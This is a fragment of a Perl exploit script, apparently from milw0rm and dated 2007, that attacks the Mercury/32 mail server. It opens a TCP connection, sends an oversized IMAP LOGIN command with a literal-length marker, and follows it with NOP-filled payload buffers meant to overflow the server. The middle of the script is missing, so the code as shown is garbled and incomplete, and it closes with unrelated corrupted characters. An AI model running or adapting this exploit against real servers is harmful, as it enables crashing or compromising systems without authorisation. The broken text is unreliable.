#!/usr/bin/perl # # mercurypown-v1.pl # # Mercury/32 * Connected\n"); $buf = "1 LOGIN".(" "x($LEN-$BUFLEN))."\{255\}\n"; send(SOCKET, $buf, 0); sleep($send_delay); print("-> * Sending payload\n"); $buf = $NOP x 255; send(SOCKET, $buf, 0); sleep($send_delay); print("-> * Sending payload 2\n"); $buf = $NOP x $BUFLEN; send(SOCKET, $buf, 0); sleep($send_delay); print("-> * Successfully sent payload!\n"); } sub print_header { print("Mercury/32 \n\n"); } sub usage { print(qq(Usage: $0 -t -t : hostname to test )); exit(1); } sub connect_host { ($target, $port) = @_; $iaddr = inet_aton($target) || die("Error: $!\n"); $paddr = sockaddr_in($port, $iaddr) || die("Error: $!\n"); $proto = getprotobyname('tcp') || die("Error: $!\n"); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error: $!\n"); return(1337); } # milw0rm.com [2007-03-06]

��ֻ�о�Ʒ��Ƶ